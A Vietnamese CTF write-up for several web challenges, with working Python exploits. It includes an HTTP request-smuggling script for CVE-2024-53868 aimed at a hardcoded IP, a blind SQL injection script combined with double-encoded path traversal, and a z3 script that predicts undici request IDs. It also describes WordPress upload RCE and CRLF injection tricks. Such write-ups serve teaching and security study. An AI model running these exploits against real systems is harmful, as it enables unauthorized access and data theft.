# web/ACL and H1 Chall cho 2 services, guinicorn và ats. ![image](https://hackmd.io/_uploads/r1n8XTO3ge.png) Trong đó, ats sẽ chặn request tới route `/render` của service guinicorn. ![image](https://hackmd.io/_uploads/Hkx-U6O2gx.png) Rất rõ ràng, đây là SSTI ![image](https://hackmd.io/_uploads/Skmj8aOhgl.png) Đến đây thì ta đã nắm được mục tiêu phải làm cách nào đó để bypass ats và thực hiện exploit SSTI. Ta thử search xem có CVE nào không. Và ye chính là nó CVE-2024-53868, request smuggling > https://nvd.nist.gov/vuln/detail/CVE-2024-53868 Search một lúc thì ra article này https://w4ke.info/2025/06/18/funky-chunks.html ![image](https://hackmd.io/_uploads/SJD_npu2xx.png) Quan trọng nhất là `chunk header` vì server sẽ nhận 2 là size của chunk body phía dưới (số `45`) nếu không payload sẽ lỗi (mất 2 tiếng vì cái này) ![chunkkk](https://hackmd.io/_uploads/S1flbrF3xx.png) ### exploit upload SSTI payload ![image](https://hackmd.io/_uploads/BkEr_C_2ex.png) smuggle sẽ craft payload như trong article ![image](https://hackmd.io/_uploads/SJo_KRu2lx.png) get flag ![image](https://hackmd.io/_uploads/r1qsYR_ngx.png) Để dễ thực hiện smuggle thì mình chatgpt viết script ``` import socket host = '165.22.55.200' port = 50001 filepath = '/app/uploads/43d54fd837a34b1988df5269f9cc8212/f6fab105615d4e4d.txt' smuggled = ( f"GET /render?filepath={filepath} HTTP/1.1\r\n" f"Host: {host}\r\n" f"Transfer-Encoding: chunked\r\n" f"\r\n" f"0\r\n" f"\r\n" ).encode('ascii') backend_termination = b"0\r\n\r\n" second_body = backend_termination + smuggled second_body_len = len(second_body) second_hex = format(second_body_len, 'x') dummy_size = len(second_hex) dummy_hex = format(dummy_size, 'x') dummy_body = ('A' * dummy_size).encode('ascii') chunked_body = ( dummy_hex.encode('ascii') + b';\n' + dummy_body + b'\r\n' + second_hex.encode('ascii') + b'\r\n' + second_body ) malicious_request = ( f"POST /upload HTTP/1.1\r\n" f"Host: {host}\r\n" f"Transfer-Encoding: chunked\r\n" f"Connection: keep-alive\r\n" f"\r\n" ).encode('ascii') + chunked_body s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.sendall(malicious_request) response = b'' while True: data = s.recv(4096) if not data: break response += data print(response.decode('utf-8', errors='ignore')) s.close() ``` # web/CVE-2025-93XX Author cho ta 1 cái wordpress có 2 plugins `wpcasa` và `safe php class upload`. Theo tên bài thì ta đoán có lẽ CVE sẽ nằm ở plugin `wpcasa` version 1.4.1. ![image](https://hackmd.io/_uploads/SJHd3Jtnxg.png) > https://nvd.nist.gov/vuln/detail/CVE-2025-9321 Ta thấy description hàm gây vuln là `api_requests`, search thử thì hàm nằm trong `includes/class-wpsight-api.php` ![image](https://hackmd.io/_uploads/rJAqTkYhex.png) Diff source ta thấy api endpoint đã bị filter ![image](https://hackmd.io/_uploads/SJQK1gtnxg.png) > https://github.com/wpsight/wpcasa/commit/c9f5d0b9df7b080af8a526c213a917aa7f3772f0 Đây là sink của CVE, ta cần có 1 class có constructor độc hại để exploit. ![Screenshot 2025-09-30 125104](https://hackmd.io/_uploads/rJzZglt2gl.png) Ta thấy có plugin `safe php class upload` filter các hàm nguy hiểm gây RCE nhưng ta có nhiều cách để bypass ![image](https://hackmd.io/_uploads/rJjPMeKnel.png) Giờ ta đã có ý tưởng exploit: tạo class constructor RCE -> upload class -> trigger CVE-2025-9321. Nhưng làm sao để `class_exists` true, đọc code plugin `wpcasa` tiếp ta thấy author đã chỉnh sửa để load class ở folder upload của plugin `safe php class upload`. Vậy là ta đã có exploit chain hoàn hảo. ![image](https://hackmd.io/_uploads/r1JXEeK2gx.png) ### exploit upload file tmp ![image](https://hackmd.io/_uploads/Hyp5p-cngg.png) include ![image](https://hackmd.io/_uploads/BJI0abq2eg.png) trigger ![image](https://hackmd.io/_uploads/S14yA-93ee.png) ### unintended Thật ra author đã sửa source plugin để include các file được upload và plugin đã được activate sẵn nên sẽ có tác dụng toàn trang wordpress do đó ta cũng không cần phải dùng tới CVE =)) ![image](https://hackmd.io/_uploads/H16Nkz53el.png) upload ![image](https://hackmd.io/_uploads/rJ5Xbz9hxe.png) trigger ![image](https://hackmd.io/_uploads/r1UjyM5nel.png) # web/Data Lost Prevention Chall cho vuln sqli filter khá nhẹ, bypass tương đối dễ. ``` space = /**/ or = || = = > ``` ![image](https://hackmd.io/_uploads/SycbSBFhlx.png) Flag được lưu ở `/var/data/flags` với name flag random, flagPath được lưu ở DB (trong lúc thi bị ngáo không đọc `init_flag.php` nên cứ tưởng phải RCE web để lấy flag, nên cứ đi tìm mãi cách RCE mà không cần dùng `union` =)). À mà service DB với web tách biệt cũng không thể RCE được :v. Troll ) ![image](https://hackmd.io/_uploads/SkP8SrKnxl.png) Ta thấy web có một chức năng khác cho phép path travelsal. Ta thấy author đã filter `../` nhưng ở dưới lại `$file2 = urldecode($file)` vậy nên ta chỉ cần urlencode 2 lần là có thể bypass. Ngoài ra để readfile thì là `str_starts_with($path, $base)` thay vì là `$real` nên chúng ta có thể thực hiện path travelsal. (`..%252f..%252fdata/flags/[flag name]`) ![reallll-path](https://hackmd.io/_uploads/S1eNOSY3xg.png) Đến đây exploit chain là: `sqli api search.php ->path travelsal -> flag`. ### exploit Dùng kĩ thuật binary search để cho nhanh :v ``` from concurrent.futures import ThreadPoolExecutor, as_completed import warnings, urllib3 import requests warnings.filterwarnings("ignore", category=urllib3.exceptions.InsecureRequestWarning) url = "https://dlp.wargame.vn" def sqli(pos, mid): p = f"1'||(ascii(SUBSTR((SELECT/**/storage_path/**/FROM/**/attachments),{pos},1))>{mid})%23" return "true" in requests.get(f"{url}/api/search.php?q={p}", verify=False).text def get_char(pos): l, h = 32, 128 while l <= h: m = (l + h) // 2 if sqli(pos, m): l = m + 1 else: h = m - 1 return chr(l) def fetch(n = 61, workers = 12): with ThreadPoolExecutor(workers) as ex: futs = {ex.submit(get_char, i): i for i in range(1, n + 1)} res = [''] * n for f in as_completed(futs): res[futs[f] - 1] = f.result() return ''.join(res) if __name__ == "__main__": path = fetch() payload = f"..%252f..%252fdata/flags/{path.split('/')[-1]}" print(path) resp = requests.get(f"{url}/export.php?file={payload}", verify=False) print(resp.text) ``` ![image](https://hackmd.io/_uploads/Sy4AcBY3ge.png) # web/YDSYD Chall intendeded là prototype polution nhưng ta có thể login thẳng admin và lấy flag =)). ![image](https://hackmd.io/_uploads/SyMykBYhlg.png) ### exploit ![image](https://hackmd.io/_uploads/SJQmAVY3xl.png) ![image](https://hackmd.io/_uploads/Bk74ANFnee.png) # web/vibe_coding Chall cho 2 services nodejs và python trong đó nodejs là proxy. Ta cần `admin` để lấy flag ![image](https://hackmd.io/_uploads/rJqTMrK3ee.png) ### setup debug Ta sẽ debug nodejs trong docker vì thế ta cần setup nodejs remote debug. Trên mạng có hướng dẫn khá nhiều, mình đã tham khảo của anh endy https://endy21.hashnode.dev/setup-debug-nodejs-python-java-php. Điều khác biệt là ta sẽ dùng `chrome://inspect` để debug thay vì dùng `VScode`, vì chrome sẽ đi được sâu vào lib internal của nodejs. ![image](https://hackmd.io/_uploads/rk6ALnC3eg.png) Vào Configure, nhập port debug như đã setup ở `Dockerfile` ![image](https://hackmd.io/_uploads/rynMvh03le.png) Ta đã bắt được debug ![debugg](https://hackmd.io/_uploads/SkhADnR2ee.png) Tiếp đến là setup burp proxy mục đích để xem `fetch` gửi cái gì. ![image](https://hackmd.io/_uploads/HJSQUhA3ge.png) Ta sẽ thêm 3 dòng này vào `index.js` ![Screenshot 2025-10-04 215631](https://hackmd.io/_uploads/H1ANL3Rnlx.png) Ta cần cài đặt `undici 5.22.1` để tương thích với nodejs-18 ``` FROM node:18.20.4-alpine WORKDIR /app COPY package*.json ./ RUN npm install --production && npm install undici@5.22.1 COPY . . RUN addgroup -g 1001 -S nodejs RUN adduser -S ctfuser -u 1001 RUN chown -R ctfuser:nodejs /app USER ctfuser EXPOSE 3000 CMD ["node", "--inspect=0.0.0.0:9229", "index.js"] ``` > Dockerfile Đồng thời thay đổi URL của python server để burp có thể thực hiện routing ![image](https://hackmd.io/_uploads/HJ7C_2R3xx.png) ### intended Tiến hành register, login, và gửi action ![image](https://hackmd.io/_uploads/rJIiY2C2gx.png) Ta thấy Nodejs proxy sẽ gửi qua backend - python server dưới dạng `form-data` ![image](https://hackmd.io/_uploads/BJtpthC3gg.png) Đến đây ta có thể thử thực hiện `CRLF` ![image](https://hackmd.io/_uploads/HkQO93Ahxl.png) Và ye đã thành công ![crlfff](https://hackmd.io/_uploads/BkH6c3Rhlg.png) Lúc này ta sẽ có ý tưởng thêm field username `admin` để bypass check vì `Flask` sẽ nhận field đầu tiên thay vì field thứ 2 là `tesdvmvfmt` ![image](https://hackmd.io/_uploads/ry9V3h0nel.png) > https://book.hacktricks.wiki/en/pentesting-web/parameter-pollution.html#parameter-pollution-by-technology Thử ngay ![image](https://hackmd.io/_uploads/HypQTh0nel.png) Đượccc, đã thành công add thêm field username `admin`. ![image](https://hackmd.io/_uploads/HJc6T2R3ll.png) Bây giờ nhiệm vụ ta là bypass `requestID` ![requestID](https://hackmd.io/_uploads/rJw70n0nlx.png) Debug thôi nào, đặt debug ở `fetch` ![image](https://hackmd.io/_uploads/rJB_020nee.png) Ta thấy, `fetch` sử dụng thư viện `undici` để fetch ![image](https://hackmd.io/_uploads/H1wSkaA3ee.png) Thử search CVE xem sao, thì đúng thật là có CVE =)) ![image](https://hackmd.io/_uploads/HJqakTAnxl.png) > https://nvd.nist.gov/vuln/detail/CVE-2025-22150 Thì CVE này đại khái bảo rằng `undici` sử dụng `Match.random()` mà cái này lại là insecure random (có thể dự đoán được) nên từ đó ta có thể predict `requestID` dễ dàng. Lướt xuống ta thấy `hackerone` -> maybe có POC ![image](https://hackmd.io/_uploads/S15heaRhgx.png) Thanks `hackerone`, `report.tar.xz` có chứa python POC ![image](https://hackmd.io/_uploads/H1KG-TCneg.png) Sửa tí để lấy requestID từ server ``` #!/usr/bin/python3 import z3 import struct import sys import base64 import json import requests url = "http://localhost:3000/health" sequence = [] for i in range(9): response = requests.get(url) data = response.json() sequence.append(data["requestId"]) sequence = sequence[::-1] solver = z3.Solver() se_state0, se_state1 = z3.BitVecs("se_state0 se_state1", 64) for i in range(len(sequence)): se_s1 = se_state0 se_s0 = se_state1 se_state0 = se_s0 se_s1 ^= se_s1 << 23 se_s1 ^= z3.LShR(se_s1, 17) # Logical shift instead of Arthmetric shift se_s1 ^= se_s0 se_s1 ^= z3.LShR(se_s0, 26) se_state1 = se_s1 solver.add(int(sequence[i]) == ((z3.ZeroExt(64,z3.LShR(se_state0, 12))*1e11)>>52) ) if solver.check() == z3.sat: model = solver.model() states = {} for state in model.decls(): states[state.__str__()] = model[state] state0 = states["se_state0"].as_long() u_long_long_64 = (state0 >> 12) | 0x3FF0000000000000 float_64 = struct.pack("<Q", u_long_long_64) next_sequence = struct.unpack("d", float_64)[0] next_sequence -= 1 print(int(next_sequence*1e11)) ``` ![image](https://hackmd.io/_uploads/SJ2kfpRnlg.png) nó work ![predicted](https://hackmd.io/_uploads/B1vBf60hxg.png) Thử exploit xem sao ![image](https://hackmd.io/_uploads/r1NoGpA3eg.png) Ta cần thêm số 0 vào đầu số predict. Ủa s kì z =)) ![so0](https://hackmd.io/_uploads/BJ_RL6C2gl.png) Đọc lại đoạn middleware của nodejs, thì ta thấy hơi lạ, `generateRequestId()` là cái chi z. ![image](https://hackmd.io/_uploads/SyWrX6Rnxx.png) Và đây là `generateRequestId()`, thủ phạm đã khiến predict sai, nếu không có header `x-request-id` thì `generateRequestId()` sẽ được gọi, điều đó làm predict bị sai. Có nghĩa là script chúng ta sẽ lấy 9 lần tiếp theo tương ứng với 9 lần gọi `Math.random()`, nếu không có header `x-request-id` thì `Math.random()` sẽ được gọi thêm 1 lần nữa dẫn đến giá trị predict không còn chính xác. Vì vậy ta cần thêm header `x-request-id` ![image](https://hackmd.io/_uploads/BJLOXaR2el.png) ### exploit Đầu tiên ta cần predict ![image](https://hackmd.io/_uploads/H1zO_60hxe.png) Thêm header `x-request-id` và thay đổi `requestID` tương ứng, ta đã lấy được flag. ![finallyy](https://hackmd.io/_uploads/SkPSY6A3xg.png) Nếu theo cách intended thì đáng lẽ chall phải cho tạo instance riêng mới đúng vì nhiều người sẽ làm ảnh hưởng predict của người khác 🤔. ### unintended Để ý `username` đã bị strip vậy nên ta chỉ cần register user `admin ` (có space). ![image](https://hackmd.io/_uploads/SyUgQHF2xx.png) ### exploit register ![image](https://hackmd.io/_uploads/B12C7HKhlx.png) login ![image](https://hackmd.io/_uploads/SyTB4Stnll.png) get flag ![image](https://hackmd.io/_uploads/S1RINSK2xl.png) # forensics/raito yagami Extract bằng password `123456` như đề bài ![image](https://hackmd.io/_uploads/rkCdoStnlg.png) Đổi `.xlsx` thành `.zip` ![image](https://hackmd.io/_uploads/BJgHiHY3gl.png)